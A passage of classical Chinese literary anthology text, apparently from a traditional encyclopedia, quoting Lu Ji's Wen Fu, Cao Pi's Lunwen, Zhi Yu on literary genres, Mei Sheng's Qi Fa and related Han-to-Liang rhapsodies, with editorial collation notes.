. 云 . 卿 试 掷 置 地 . 要 作 金 石 声 . 范 曰 . 恐 子 之 金 石 . 非 宫 商 中 声 . 然 每 至 佳 句 . 皆 辄 云 . 应 是 我 辈 语 .\n【 赋 】 晋 陆 机 文 赋 曰 . 余 每 观 才 士 之 作 . 窃 有 以 得 其 用 心 . 夫 其 放 言 遣 辞 . 良 多 变 矣 . 妍 蚩 好 恶 . 可 得 而 言 . 每 每 自 属 文 . 尤 见 其 情 . 恒 患 意 不 称 物 . 文 不 逮 意 . 非 知 之 难 . 能 之 难 也 . 故 作 文 赋 . 以 述 先 士 之 盛 藻 . 因 论 作 文 之 利 害 所 由 . 他 日 逮 可 谓 曲 尽 其 妙 . 伫 中 区 以 玄 览 . 颐 情 志 于 典 坟 . 遵 四 时 以 叹 逝 . 瞻 万 物 而 思 纷 . 悲 落 叶 于 劲 秋 . 喜 柔 条 于 芳 春 . 心 凛 凛 以 怀 霜 . 志 眇 眇 而 临 云 . 咏 世 德 之 俊 烈 . 诵 先 人 之 清 芬 . 慨 投 篇 而 援 笔 . 聊 宣 之 乎 斯 文 . 其 始 也 . 皆 收 视 反 听 . 耽 思 旁 讯 . 精 骛 八 极 . 心 游 万 仞 . 其 致 也 . 情 曈 昽 而 弥 鲜 . 物 昭 晢 而 互 进 . 倾 群 言 之 沥 液 . 漱 六 艺 之 芳 润 . 收 百 世 之 阙 文 . 采 千 载 之 遗 韵 . 谢 朝 华 于 已 披 . 启 夕 秀 于 未 振 . 观 古 今 于 须 臾 . 抚 四 海 于 一 瞬 . 然 后 选 义 按 部 . 考 辞 就 班 . 藏 景 者 咸 叩 . 怀 响 者 必 弹 . 或 因 枝 以 振 叶 . 或 缘 波 而 讨 源 . 或 妥 帖 而 易 施 . 或 龃 龉 而 不 安 . 笼 天 地 于 形 内 . 挫 万 物 于 笔 端 . 伊 兹 事 之 可 乐 . 固 圣 贤 之 所 钦 . 课 虚 无 以 责 有 . 叩 寂 寞 而 求 音 . 函 绵 邈 于 尺 素 . 吐 滂 霈 乎 寸 心 . 言 恢 之 而 弥 广 . 思 按 之 而 愈 深 . 播 芳 蕤 之 馥 馥 . 发 清 条 之 森 森 . 粲 风 飞 而 飙 . 郁 云 起 乎 翰 林 . 故 夫 夸 目 者 尚 奢 . 惬 心 者 贵 当 . 言 穷 者 无 隘 . 论 达 者 唯 旷 . 诗 缘 情 而 绮 靡 . 赋 体 物 而 浏 亮 . 碑 披 文 以 相 质 . 诔 缠 绵 而 凄 怆 . 铭 博 约 而 温 润 . 箴 顿 挫 而 清 壮 . 颂 优 游 以 彬 蔚 . 论 精 微 而 朗 畅 . 奏 平 彻 以 闲 雅 . 说 炜 晔 而 谲 诳 . 虽 区 分 之 在 兹 . 亦 禁 邪 而 制 放 . 要 辞 达 而 理 举 . 故 无 取 乎 冗 长 . 其 为 体 也 屡 迁 . 其 会 意 也 尚 巧 . 其 遣 言 也 贵 妍 . 暨 音 声 之 迭 代 . 若 五 色 之 相 宣 . 或 仰 逼 于 先 条 . 或 俯 侵 于 后 章 . 或 辞 害 而 理 比 . 或 言 顺 而 义 妨 . 离 之 则 双 美 . 合 之 则 两 伤 . 考 殿 最 于 锱 铢 . 定 去 留 于 毫 芒 . 立 片 言 以 居 要 . 乃 一 篇 之 警 策 . 虽 众 辞 之 有 条 . 必 待 兹 而 效 绩 . 或 藻 思 绮 合 . 清 丽 阡 眠 . 烂 若 缛 绣 . 凄 若 繁 弦 . 必 所 拟 之 不 殊 . 乃 闇 合 乎 曩 篇 . 虽 杼 轴 于 予 怀 . 怵 他 人 之 我 先 . 石 韫 玉 而 山 辉 . 水 怀 珠 而 川 媚 . 彼 榛 楛 之 勿 翦 . 亦 蒙 荣 而 集 翠 . 若 夫 丰 约 之 裁 . 俯 仰 之 形 . 因 宜 适 变 . 曲 有 微 情 . 或 言 拙 而 谕 巧 . 或 理 朴 而 辞 轻 . 或 袭 故 而 弥 新 . 或 沿 浊 而 更 清 . 或 览 之 而 必 察 . 或 妍 之 而 后 精 . 譬 循 舞 者 趁 节 以 投 袂 . 歌 者 应 弦 而 遣 声 . 若 夫 应 感 之 会 . 通 塞 之 纪 . 来 不 可 遏 . 去 不 可 止 . 藏 若 影 灭 . 行 犹 响 起 . 思 风 发 于 胸 臆 . 言 泉 流 于 唇 齿 . 纷 葳 蕤 以 馺 遝 . 唯 豪 素 之 所 拟 . 文 徽 徽 以 溢 目 . 音 泠 泠 而 盈 耳 . 及 其 六 情 底 滞 . 志 往 神 留 . 兀 若 枯 木 . 豁 若 涸 流 . 览 营 魂 以 探 赜 . 顿 精 爽 而 自 求 . 理 翳 翳 而 愈 伏 . 思 轧 轧 而 若 抽 . 是 故 或 竭 情 而 多 悔 . 或 率 意 而 寡 尤 . 伊 兹 文 之 为 用 . 固 众 理 之 所 因 . 配 沾 润 于 云 雨 . 象 变 化 乎 鬼 神 . 被 金 石 而 德 广 . 流 管 弦 而 日 新 .\n汉 杨 雄 反 骚 曰 . 雄 每 读 屈 原 离 骚 . 未 尝 不 流 涕 也 . 乃 作 书 往 往 摭 离 骚 文 而 反 之 . 自 岷 山 投 诸 江 流 . 以 吊 屈 原 . 有 周 氏 之 蝉 嫣 . 或 鼻 祖 于 汾 隅 . 灵 宗 初 谍 伯 侨 子 . ○ 汉 书 八 十 七 杨 雄 传 作 兮 . 流 于 未 ○ 汉 书 作 末 . 之 杨 侯 . 惟 夫 轨 之 不 辟 . 何 纯 洁 而 离 分 . 汉 十 世 之 扬 翔 . ○ 汉 书 作 阳 朔 . 招 摇 纪 于 周 正 . 正 皇 天 之 清 则 . 度 后 土 之 方 贞 . 凤 皇 翔 于 蓬 渚 . 岂 驾 鹅 之 能 捷 . 骋 骅 骝 于 曲 叹 . ○ 汉 书 作 . 驴 连 骞 而 齐 足 . 衿 荷 芰 之 绣 衣 . 被 芙 蓉 之 朱 裳 . 芳 酷 烈 而 莫 闻 . 不 如 襞 而 幽 之 离 房 . 精 琼 靡 与 秋 菊 . 将 以 延 夫 天 年 . 临 汨 罗 而 自 陨 . 何 怨 日 薄 于 西 山 . 累 既 攀 夫 傅 说 . 奚 不 信 而 遂 行 . 徒 恐 鷤 鴃 之 将 鸣 . 顾 先 百 草 为 不 荣 .\n后 汉 班 彪 悼 离 骚 曰 . 夫 华 植 之 有 零 茂 . 故 阴 阳 之 度 也 . 圣 哲 之 有 穷 达 . 亦 命 之 故 也 . 惟 达 人 进 止 得 时 . 行 以 遂 伸 . 否 则 诎 而 坼 蠖 . 体 龙 蛇 以 幽 潜 .\n晋 挚 虞 愍 骚 曰 . 盖 明 哲 之 处 身 . 固 度 时 以 进 退 . 泰 则 摅 志 于 宇 宙 . 否 则 澄 神 于 幽 昧 . 摛 之 莫 究 其 外 . 函 之 罔 识 其 内 . 顺 阴 阳 以 潜 跃 . 岂 凝 滞 乎 一 概 .\n魏 陈 王 曹 植 九 咏 曰 . 芙 蓉 车 兮 挂 衡 . 结 萍 盖 兮 翠 旌 . 四 苍 虬 兮 翼 毂 . 驾 陵 鱼 兮 骖 鲸 . 菌 荐 兮 ● 席 . 蕙 帱 兮 苓 床 . 抗 南 箕 兮 簸 琼 橤 . 挹 天 河 兮 涤 玉 觞 . 灵 既 降 兮 泊 静 默 . 登 文 阶 兮 坐 紫 房 . 服 春 荣 兮 猗 摩 . 云 裾 绕 兮 容 裔 . 冠 北 辰 兮 岌 峨 . 带 冕 虹 兮 陵 厉 . 兰 肴 御 兮 玉 俎 陈 . 雅 音 奏 兮 文 虞 罗 . 感 汉 ○ 本 集 汉 下 有 广 字 . 此 脱 . 兮 羡 游 女 . 杨 激 楚 兮 咏 湘 娥 . 临 回 风 兮 浮 汉 渚 . 目 牵 牛 兮 眺 织 女 . 交 有 际 兮 会 有 期 . 嗟 痛 吾 兮 来 不 时 . 来 无 见 兮 进 无 闻 . 泣 下 雨 兮 叹 成 云 . 先 后 悔 其 靡 及 . 冀 后 王 之 一 寤 . 犹 搦 辔 而 繁 策 . 驰 覆 车 之 危 路 . 群 乘 舟 而 无 楫 . 将 何 川 而 能 度 . 何 世 俗 之 蒙 昧 . 悼 邦 国 之 未 静 . 任 椒 兰 其 望 治 . 由 倒 裳 而 求 领 . 寻 湘 汉 之 长 流 . 采 芳 岸 之 灵 芝 . 遇 游 女 于 水 裔 . 探 菱 华 而 结 辞 . 野 萧 条 以 极 望 . 旷 千 里 以 无 人 . 民 生 期 于 必 死 . 何 自 苦 以 终 身 . 宁 作 清 水 之 污 泥 . 不 为 浊 路 之 飞 尘 .\n梁 元 帝 拟 秋 气 摇 落 曰 . 秋 风 起 兮 寒 雁 归 . 寒 蝉 鸣 兮 秋 草 腓 . 蓱 清 兮 水 澈 . 叶 落 兮 林 稀 .\n梁 张 缵 拟 古 有 人 兮 曰 . 若 有 人 兮 傍 岩 石 . 新 莆 衣 兮 杜 蘅 席 . 表 幽 居 兮 翠 微 上 . 临 春 风 兮 聊 骋 望 . 日 已 暮 兮 夕 云 飞 . 怀 君 王 兮 未 能 归 .\n梁 武 帝 赋 体 曰 . 草 回 风 以 照 春 . 木 承 云 以 含 化 . 芳 竞 飞 于 阳 和 . 花 争 开 于 日 夜 . 乐 万 类 之 得 所 . 岂 此 心 之 云 舍 . 欣 分 竹 其 厉 精 . 惭 戎 车 之 屡 驾 .\n梁 任 昉 赋 体 曰 . 俶 征 侣 兮 舣 行 舟 . 奉 君 命 兮 不 俟 驾 . 属 轩 轨 之 易 循 . 值 尧 民 之 可 化 . 惭 孺 雉 之 声 朝 . 恶 细 鱼 之 在 夜 . 奉 玉 检 之 陆 离 . 待 金 罍 之 云 舍 .\n梁 王 僧 孺 赋 体 曰 . 杂 沓 兮 翠 旌 . 容 与 兮 龙 驾 . 新 桐 兮 始 华 . 乳 雀 兮 初 化 . 思 治 兮 终 朝 . 求 人 兮 仄 夜 . 竟 大 德 之 未 德 ○ 德 字 疑 衍 . 酬 . 何 飞 光 之 徒 舍 .\n陆 倕 赋 体 曰 . 奉 钦 明 之 睿 后 . 沐 隆 平 之 玄 化 . 参 振 鹭 之 充 庭 . 侍 长 徒 之 曾 舍 . 冀 无 恨 于 终 南 . 豫 告 成 于 芝 驾 . 虽 就 列 而 陈 力 . 终 胡 颜 于 长 夜 .\n梁 柳 赋 体 曰 . 飞 辔 竦 兮 不 停 阴 . 徂 川 逝 兮 无 暂 舍 . 白 日 出 兮 烁 晚 辰 . 春 雷 奋 兮 动 兰 夜 . 窃 匪 服 于 储 闱 . 叨 鸿 恩 于 良 驾 . 何 眇 身 之 多 幸 . 濯 微 缨 于 唐 化 .\n【 论 】 魏 文 帝 典 论 曰 . 夫 文 人 相 轻 . 自 古 而 然 . 傅 毅 之 于 班 固 . 伯 仲 之 闲 尔 . 而 固 小 之 . 夫 人 善 于 自 见 . 而 文 非 一 体 . 鲜 能 备 善 . 是 以 各 以 所 长 . 相 轻 所 短 . 今 之 文 人 . 孔 融 陈 琳 王 粲 徐 干 阮 瑀 应 玚 刘 桢 . 斯 七 人 者 . 于 学 无 所 遗 . 于 辞 无 所 假 . 咸 自 以 骋 騄 骥 于 千 里 . 仰 齐 足 而 并 驰 . 以 此 相 服 . 亦 良 难 矣 . 盖 君 子 审 己 以 度 人 . 故 能 免 于 斯 累 . 乃 作 论 文 . 王 粲 长 于 词 赋 . 徐 干 时 有 逸 气 . 然 粲 匹 也 . 陈 琳 阮 瑀 之 章 表 书 记 . 今 之 俊 也 . 应 玚 和 而 不 壮 . 刘 桢 壮 而 不 密 . 孔 融 体 气 高 妙 . 有 过 人 者 . 然 不 能 持 论 . 理 不 胜 辞 . 至 于 杂 以 嘲 戏 . 及 其 时 有 所 善 . 杨 班 畴 也 . 夫 文 本 同 而 末 异 . 盖 奏 议 宜 雅 . 书 论 宜 理 . 铭 诔 尚 实 . 诗 赋 欲 丽 . 文 以 气 为 主 . 气 之 清 浊 有 体 . 不 可 力 强 而 致 . 古 之 作 者 . 寄 身 于 翰 墨 . 见 意 于 篇 籍 . 不 假 良 史 之 辞 . 不 托 飞 驰 之 势 . 而 声 名 自 传 于 后 . 故 西 伯 幽 而 演 易 . 周 旦 显 而 制 礼 . 不 以 隐 约 而 弗 务 . 不 以 康 乐 而 加 思 . 夫 然 . 则 古 人 贱 尺 璧 而 重 寸 阴 . 惧 乎 时 之 过 已 . 而 人 多 不 强 力 . 贫 贱 则 慑 于 饥 寒 . 富 贵 则 流 于 逸 乐 . 遂 营 目 前 之 务 . 而 遗 千 载 之 功 . 日 月 逝 于 上 . 体 貌 衰 于 下 . 忽 然 与 万 物 迁 化 . 斯 志 士 所 大 痛 也 .\n晋 挚 虞 文 章 流 别 论 曰 . 文 章 者 . 所 以 宣 上 下 之 象 . 明\n人 伦 之 叙 . 穷 理 尽 性 . 以 究 万 物 之 宜 者 也 . 王 泽 流 而 诗\n作 . 成 功 臻 而 颂 兴 . 德 勋 立 而 铭 着 . 嘉 美 终 而 诔 集 . 祝\n史 陈 辞 . 官 箴 王 阙 . 周 礼 太 师 . 掌 教 六 诗 . 曰 风 . 曰 赋\n. 曰 比 . 曰 兴 . 曰 雅 . 曰 颂 . 言 一 国 之 事 . 系 一 人 之 本\n. 谓 之 风 . 言 天 下 之 事 . 形 四 方 之 风 . 谓 之 雅 . 颂 者 美\n盛 德 之 形 容 . 赋 者 敷 陈 之 称 也 . 比 者 喻 类 之 言 也 . 兴 者\n有 感 之 辞 也 . 后 世 之 为 诗 者 多 矣 . 其 功 德 者 谓 之 颂 . 其\n余 则 总 谓 之 诗 . 颂 . 诗 之 美 者 也 . 古 者 圣 帝 明 王 . 功 成\n治 定 而 颂 声 兴 . 于 是 奏 于 宗 庙 . 告 于 鬼 神 . 故 颂 之 所 美\n者 . 圣 王 之 德 也 . 古 之 作 诗 者 . 发 乎 情 . 止 乎 礼 义 . 情\n之 发 . 因 辞 以 形 之 . 礼 义 之 指 . 须 事 以 明 之 . 故 有 赋 焉\n. 所 以 假 象 尽 辞 . 敷 陈 其 志 . 古 诗 之 赋 . 以 情 义 为 主 .\n以 事 类 为 佐 . 今 之 赋 . 以 事 形 为 本 . 以 义 正 为 助 . 情 义\n为 主 . 则 言 省 而 文 有 例 矣 . 事 形 为 本 . 则 言 富 而 辞 无 常\n. 文 之 烦 省 . 辞 之 险 易 . 盖 由 于 此 . 夫 假 象 过 大 . 则 与\n类 相 远 . 逸 辞 过 壮 . 则 与 事 相 违 . 辩 言 过 理 . 则 与 义 相\n失 . 丽 靡 过 美 . 则 与 情 相 悖 . 此 四 过 者 . 所 以 背 大 体 而\n害 政 教 . 是 以 司 马 迁 割 相 如 之 浮 说 . 杨 雄 疾 辞 人 之 赋 丽\n以 淫 . 诗 之 流 也 . 有 三 言 四 言 五 言 六 言 七 言 九 言 . 古 诗\n率 以 四 言 为 体 . 而 时 有 一 句 两 句 杂 在 四 言 之 间 . 后 世 演\n之 遂 以 为 篇 . 古 诗 之 三 言 者 . 振 振 鹭 . 鹭 于 飞 之 属 是 也\n. 五 言 者 . 谁 谓 雀 无 角 . 何 以 穿 我 屋 之 属 是 也 . 六 言 者\n. 我 姑 酌 金 罍 之 属 是 也 . 七 言 者 . 交 交 黄 鸟 止 于 桑 之 属\n是 也 . 九 言 者 . 泂 酌 彼 行 潦 挹 彼 注 兹 之 属 是 也 . 夫 诗 虽\n以 情 志 为 本 . 而 以 成 声 为 节 . 然 则 雅 音 之 韵 . 四 言 为 言\n. ○ 全 晋 文 七 十 七 作 正 . 其 余 虽\n备 曲 折 之 体 . 而 非 音 之 正 也 .\n汉 枚 乘 七 发 曰 . 楚 太 子 有 疾 . 吴 客 往 问 之 曰 . 伏 闻 太 子 玉 体 不 安 . 亦 少 间 乎 . 今 夫 贵 人 之 子 . 必 宫 居 而 闺 处 . 饮 食 则 温 淳 甘 膬 . 衣 则 杂 遝 曼 暖 . 虽 有 金 石 之 坚 . 将 犹 销 铄 而 挺 解 也 . 况 其 在 筋 骨 之 间 乎 . 且 夫 出 舆 入 辇 . 命 曰 蹶 痿 之 几 . 洞 房 清 宫 . 命 曰 寒 热 之 媒 . 皓 齿 蛾 眉 . 命 曰 伐 性 之 斧 . 甘 脆 肥 醲 . 命 曰 腐 肠 之 药 . 今 太 子 肤 色 靡 曼 . 四 支 委 随 . 筋 骨 挺 解 . 越 女 侍 前 . 齐 姬 奉 后 . 往 来 游 宴 . 纵 恣 乎 曲 房 隐 闲 之 中 . 此 甘 餐 毒 药 . 戏 猛 兽 之 爪 牙 也 . 虽 令 扁 鹊 治 内 . 巫 咸 治 外 . 尚 何 及 哉 . 客 曰 . 太 子 之 病 . 可 以 要 言 妙 道 说 而 去 也 . 不 欲 闻 之 乎 . 太 子 曰 . 仆 愿 闻 之 . 客 曰 . 龙 门 之 桐 . 高 百 尺 而 无 枝 . 中 郁 结 之 轮 囷 . 根 扶 疏 以 分 离 . 上 有 千 仞 之 峰 . 下 临 百 丈 之 溪 . 湍 流 溯 波 . 又 淡 淡 之 . 其 根 半 死 半 生 . 冬 则 烈 风 漂 霰 飞 雪 之 所 激 也 . 夏 则 雷 霆 霹 雳 之 所 撼 也 . 朝 则 鹂 黄 鳱 鴠 鸣 焉 . 暮 则 羁 雌 迷 鸟 宿 焉 . 独 鹄 晨 号 乎 其 上 . 鹍 鸡 哀 鸣 . 翔 乎 其 下 . 于 是 背 秋 涉 冬 . 使 班 尔 斫 斩 以 为 琴 . 野 之 丝 以 为 弦 . 使 师 堂 操 张 . 伯 牙 为 之 歌 . 歌 曰 . 麦 秀 ● 兮 雉 朝 飞 . 向 虚 壑 兮 背 乔 槐 . 依 绝 区 兮 临 回 池 . 飞 鸟 闻 之 . 翕 翼 而 不 能 去 . 野 兽 闻 之 . 垂 耳 而 不 能 行 . 蚑 蟜 蝼 蛾 闻 之 . 柱 喙 而 不 能 前 . 此 亦 天 下 之 至 悲 也 . 太 子 能 强 起 而 听 之 乎 . 云 云 . 客 曰 . 犓 牛 之 腴 . 菜 以 笋 蒲 . 肥 狗 之 和 . 冒 以 山 肤 . 楚 苗 之 食 . 安 胡 之 饭 . 抟 之 不 解 . 一 啜 而 散 . 于 是 伊 尹 煎 熬 . 易 牙 调 和 . 熊 蹯 之 臑 . 勺 药 之 酱 . 秋 黄 之 苏 . 白 露 之 茹 . 兰 英 之 酒 . 酌 以 涤 口 . 山 梁 之 餐 . 豢 豹 之 首 . 小 饮 大 歠 . 如 汤 沃 雪 . 此 亦 天 下 之 至 美 也 . 太 子 能 起 尝 之 乎 . 客 曰 . 钟 岱 之 牡 . 齿 至 之 车 . 前 似 飞 鸟 . 后 似 駏 驴 . 伯 乐 相 其 前 后 . 王 良 造 父 为 之 御 . 秦 缺 楼 秀 ○ 文 选 三 十 四 作 季 . 为 之 右 . 于 是 使 射 千 镒 之 重 . 争 千 里 之 逐 . 此 亦 天 下 之 至 骏 也 . 太 子 能 强 乘 乎 . 客 曰 . 既 登 景 夷 之 台 . 南 望 荆 山 . 北 望 汝 海 . 左 江 右 湖 . 其 乐 无 有 . 乃 下 置 酒 于 娱 怀 之 宫 . 连 廊 四 注 . 纷 纭 玄 绿 . 辇 道 邪 交 . 黄 池 纡 曲 . 溷 章 白 鹭 . 鸳 鸯 鹍 鹄 . 鹓 鶵 鵁 䴖 . 翠 鬣 紫 缨 . 女 桑 河 柳 . 素 叶 紫 茎 . 松 柏 豫 樟 . 条 上 造 天 . 梧 桐 栟 榈 . 极 望 成 林 . 乃 发 激 楚 之 结 风 . 扬 郑 卫 之 皓 齿 . 杂 裾 垂 髾 . 目 窈 心 与 . 榆 流 波 . 杂 杜 若 . 蒙 清 尘 . 被 兰 泽 . 嬿 服 而 御 . 此 亦 天 下 靡 丽 皓 侈 广 博 之 乐 也 . 太 子 能 起 强 游 乎 . 客 曰 . 将 为 太 子 驯 骐 骥 之 马 . 驾 飞 軨 之 舆 . 乘 牡 骏 之 乘 . 右 夏 服 之 劲 箭 . 左 乌 号 之 雕 弓 . 周 驰 兮 兰 泽 . 弭 节 乎 江 浔 . 掩 青 苹 . 游 清 风 . 陶 阳 气 . 荡 春 心 . 逐 狡 兽 . 集 轻 禽 . 于 是 极 犬 马 之 才 . 困 野 兽 之 足 . 此 校 猎 之 至 壮 也 . 太 子 能 强 游 乎 . 客 曰 . 榛 林 深 泽 . 烟 云 暗 漠 . 兕 兽 并 行 . 毅 武 孔 猛 . 袒 裼 身 博 . 收 获 掌 功 . 赏 赐 金 帛 . 旨 酒 嘉 肴 . 羞 包 脍 炙 . 以 御 宾 客 . 贞 信 之 色 . 形 以 金 石 . 高 歌 陈 唱 . 万 岁 无 斁 . 能 起 强 游 之 乎 . 太 子 曰 . 仆 甚 愿 从 . 直 恐 为 诸 大 夫 累 耳 . 客 曰 . 将 以 八 月 之 望 . 往 观 涛 乎 广 陵 之 曲 江 . 足 以 骇 矣 . 恍 兮 惚 兮 . 憀 兮 栗 兮 . 虹 洞 兮 仓 天 . 极 虑 兮 崖 涘 . 汩 乘 流 而 下 降 . 或 不 知 其 所 止 . 当 是 之 时 . 虽 有 淹 病 滞 疾 . 将 伛 申 起 蹶 . 发 瞽 披 聋 而 观 望 也 . 况 直 眇 小 烦 懑 . 酲 醲 病 酒 之 徒 哉 . 太 子 曰 . 善 . 然 则 涛 何 气 哉 . 客 曰 . 闻 于 师 曰 . 其 始 起 也 . 淋 淋 焉 若 白 鹭 之 下 翔 . 其 少 进 也 . 浩 浩 溰 溰 . 如 素 车 白 马 帏 盖 之 张 . 其 波 涌 而 云 乱 . 扰 扰 焉 如 三 军 之 腾 装 . 其 旁 作 而 奔 起 也 . 飘 飘 焉 如 轻 车 之 勒 兵 . 太 子 能 起 观 乎 . 客 曰 . 将 为 太 子 奏 方 术 之 士 . 有 资 略 者 . 若 庄 周 魏 牟 杨 朱 墨 翟 詹 何 之 伦 . 使 之 论 天 下 之 精 微 . 理 万 物 之 是 非 . 孔 老 览 观 . 孟 子 持 筹 而 筭 之 . 万 不 失 一 . 此 亦 天 下 要 言 妙 道 也 . 太 子 岂 欲 闻 之 乎 . 于 是 太 子 据 几 而 起 曰 . 涣 乎 一 听 圣 人 辩 士 之 言 . 霍 然 病 已 .\n后 汉 傅 毅 七 激 曰 . 徒 华 公 子 . 托 病 幽 处 . 游 心 于 玄 妙 . 清 思 乎 黄 老 . 于 是 玄 通 子 闻 而 往 属 曰 . 仆 闻 君 子 当 世 而 光 迹 . 因 时 以 舒 志 . 必 将 铭 勒 功 勋 . 悬 着 隆 高 . 今 公 子 削 迹 藏 体 . 当 年 陆 沉 . 变 度 易 趣 . 违 拂 雅 心 . 挟 六 经 之 指 . 守 偏 塞 之 术 . 意 亦 有 所 蔽 与 . 何 图 身 之 谬 也 . 仆 将 为 公 子 论 天 下 之 至 妙 . 列 耳 目 之 通 好 . 原 情 心 之 性 理 . 综 道 德 之 弥 奥 . 岂 欲 闻 之 乎 . 公 子 曰 . 仆 虽 不 敏 . 固 愿 闻 之 . 玄 通 子 曰 . 洪 梧 幽 生 . 生 于 遐 荒 . 阳 春 后 荣 . 涉 秋 先 雕 . 晨 飙 飞 砾 . 孙 禽 相 求 . 积 雪 涐 涐 . 中 夏 不 流 . 于 是 乃 使 夫 游 宦 失 势 . 穷 摈 之 士 . 泳 溺 水 . 越 炎 火 . 穷 林 薄 . 历 隐 深 . 三 秋 乃 获 . 断 之 高 岑 . 梓 匠 摹 度 . 拟 以 斧 斤 . 然 后 背 洞 壑 . 临 绝 溪 . 听 迅 波 . 望 曾 崖 . 大 师 奏 操 . 荣 期 清 歌 . 歌 曰 . 陟 景 山 兮 采 芳 苓 . 哀 不 惨 伤 . 乐 不 流 声 . 弹 羽 跃 水 . 叩 角 奋 荣 . 沉 微 玄 穆 . 感 物 寤 灵 . 此 亦 天 下 之 妙 音 也 . 子 能 强 起 而 听 之 乎 . 玄 通 子 曰 . 单 极 滋 味 . 嘉 旨 之 膳 . 刍 豢 常 珍 . 庶 差 异 馔 . 涔 养 之 鱼 . 脍 其 鲤 鲂 . 分 毫 之 割 . 纤 如 发 芒 . 散 如 绝 谷 . 积 如 委 红 . 殊 芳 异 味 . 厥 和 不 同 . 既 食 日 晏 . 乃 进 夫 雍 州 之 灾 . 出 于 丽 阴 . 下 生 芷 隰 . 上 托 桂 林 . 甘 露 润 其 叶 . 醴 泉 渐 其 根 . 脆 不 抗 齿 . 在 口 流 液 . 握 之 摧 沮 . 批 之 离 坼 . 可 以 解 烦 . 悁 悦 心 意 . 子 能 起 而 食 之 乎 . 玄 通 子 曰 . 骥 騄 之 乘 . 龙 骧 超 摅 . 腾 虚 鸟 踊 . 莫 能 执 御 . 于 是 乃 使 王 良 理 辔 . 操 以 术 教 . 践 路 促 节 . 机 登 飙 驱 . 前 不 可 先 . 后 不 可 追 . 逾 埃 绝 影 . 焂 忽 若 飞 . 日 不 转 曜 . 穷 远 旋 归 . 此 盖 天 下 之 骏 马 . 子 能 强 起 而 乘 之 乎 . 玄 通 子 曰 . 三 时 既 逝 . 季 冬 暮 岁 . 玄 冥 终 统 . 庶 卉 零 悴 . 王 在 灵 囿 . 讲 戎 简 旅 . 于 是 驷 骥 騄 . 乘 轻 轩 . 麾 旄 旗 . 鸣 八 鸾 . 陈 众 车 于 广 隰 . 散 列 骑 乎 平 原 . 属 罘 网 以 弥 野 . 连 罻 罗 以 营 山 . 部 曲 周 匝 . 风 动 云 旋 . 合 团 促 阵 . 禽 兽 骇 殚 . 仆 不 暇 起 . 穷 不 及 旋 . 击 不 待 刃 . 骨 解 肉 离 . 摧 牙 碎 首 . 分 其 文 皮 . 流 血 丹 野 . 羽 毛 翳 日 . 于 是 下 兰 皋 . 临 流 泉 . 观 通 谷 . 望 景 山 . 酌 旨 酒 . 割 芳 鲜 . 此 天 下 之 至 娱 也 . 子 能 强 起 而 观 之 乎 . 玄 通 子 曰 . 当 馆 侈 饰 . 洞 房 华 屋 . 楹 桷 雕 藻 . 文 以 朱 绿 . 曾 台 百 仞 . 临 望 博 见 . 俯 视 云 雾 . 骋 目 穷 观 . 园 薮 平 夷 . 沼 池 漫 衍 . 禽 兽 群 交 . 芳 草 华 蔓 . 于 是 宾 友 所 欢 . 近 览 从 容 . 詹 公 沉 饵 . 蒲 且 飞 红 . 纶 不 虚 出 . 矢 不 徒 降 . 投 钩 必 获 . 控 弦 加 双 . 俯 尽 深 潜 . 仰 殚 轻 翼 . 日 移 怠 倦 . 然 后 宴 息 . 列 觞 酌 醴 . 妖 靡 侍 侧 . 被 华 文 . 曳 绫 縠 . 弭 随 珠 . 佩 琚 玉 . 红 颜 呈 素 . 蛾 眉 不 画 . 唇 不 施 朱 . 发 不 加 泽 . 升 龙 舟 . 浮 华 池 . 纡 帷 翳 而 永 望 . 镜 形 影 于 玄 流 . 偏 滔 滔 以 南 北 . 似 汉 女 之 神 游 . 笑 比 目 之 双 跃 . 乐 偏 禽 之 匹 嬉 . 此 亦 天 下 之 欢 也 . 子 能 强 起 而 与 之 游 乎 . 玄 通 子 曰 . 汉 之 盛 世 . 存 乎 永 平 . 太 和 协 畅 . 万 机 穆 清 . 于 是 群 俊 学 士 . 云 集 辟 雍 . 含 咏 圣 术 . 文 质 发 曚 . 达 牺 农 之 妙 旨 . 照 虞 夏 之 典 坟 . 遵 孔 氏 之 宪 则 . 投 颜 闵 之 高 迹 . 推 义 穷 类 . 靡 不 博 观 . 光 润 嘉 美 . 世 宗 其 言 . 公 子 瞿 然 而 兴 曰 . 至 乎 . 主 得 圣 道 . 天 基 允 臧 . 明 哲 用 思 . 君 子 所 常 . 自 知 沉 溺 . 久 蔽 不 悟 . 请 诵 斯 语 . 仰 子 法 度 .\n后 汉 刘 广 世 七 兴 曰 . 子 康 子 有 疾 . 王 先 生 往 焉 . 曰 . 骏 壮 之 马 . 慉 不 征 路 . 其 荷 衡 也 . 曜 似 惊 禽 . 其 即 行 也 . 翚 若 游 鹰 . 飙 骇 风 逝 . 电 发 波 腾 . 影 不 及 形 . 尘 不 暇 兴 .\n后 汉 崔 骃 七 依 曰 . 客 曰 . 乃 导 玄 山 之 梁 . 不 周 之 稻 . 砻 以 絺 绤 . 砥 以 柔 韦 . 洞 庭 之 鲋 . 灌 水 之 鳐 . 滋 以 阳 扑 之 姜 . 蔌 以 寿 木 之 华 . 鹾 以 大 夏 之 . 酢 以 越 裳 之 梅 . 反 宇 垂 阿 . 洞 门 金 铺 . 丹 柱 雕 楹 . 飞 阁 曾 楼 . 于 是 置 酒 乎 宴 游 之 堂 . 张 乐 乎 长 娱 之 台 . 酒 酣 乐 中 . 美 人 进 以 承 宴 . 调 欢 欣 以 解 容 . 回 顾 百 万 . 一 笑 千 金 . 振 飞 縠 以 长 舞 袖 . 袅 细 腰 以 务 抑 扬 . 当 此 之 时 . 孔 子 倾 于 阿 谷 . 柳 下 忽 而 更 婚 . 老 聃 遗 其 虚 静 . 杨 雄 失 其 太 玄 . 此 天 下 之 逸 豫 . 宴 乐 之 至 盘 也 . 公 子 岂 能 兴 乎 . 客 曰 . 彭 蠡 之 鸟 . 万 万 而 群 . 荆 山 之 兽 . 亿 亿 而 屯 . 云 合 风 散 . 隐 隐 震 震 . 乃 命 长 狄 使 驱 兽 . 夷 羿 作 虞 人 . 腾 句 喙 以 追 飞 . 骋 韩 卢 以 逐 奔 . 弓 弹 交 错 . 把 弧 控 弦 . 弯 繁 弱 . 鼓 千 钧 . 死 兽 藉 藉 . 聚 如 山 . ○ 句 有 脱 文 . 选 取 上 鲜 . 献 之 庖 人 .\n后 汉 李 尤 七 款 曰 . 奇 宫 闲 馆 . 回 庭 洞 门 . 井 干 广 望 . 重 阁 相 因 . 夏 屋 渠 渠 . 嵯 峨 合 连 . 前 临 都 街 . 后 据 流 川 . 梁 王 青 黎 . 卢 橘 是 生 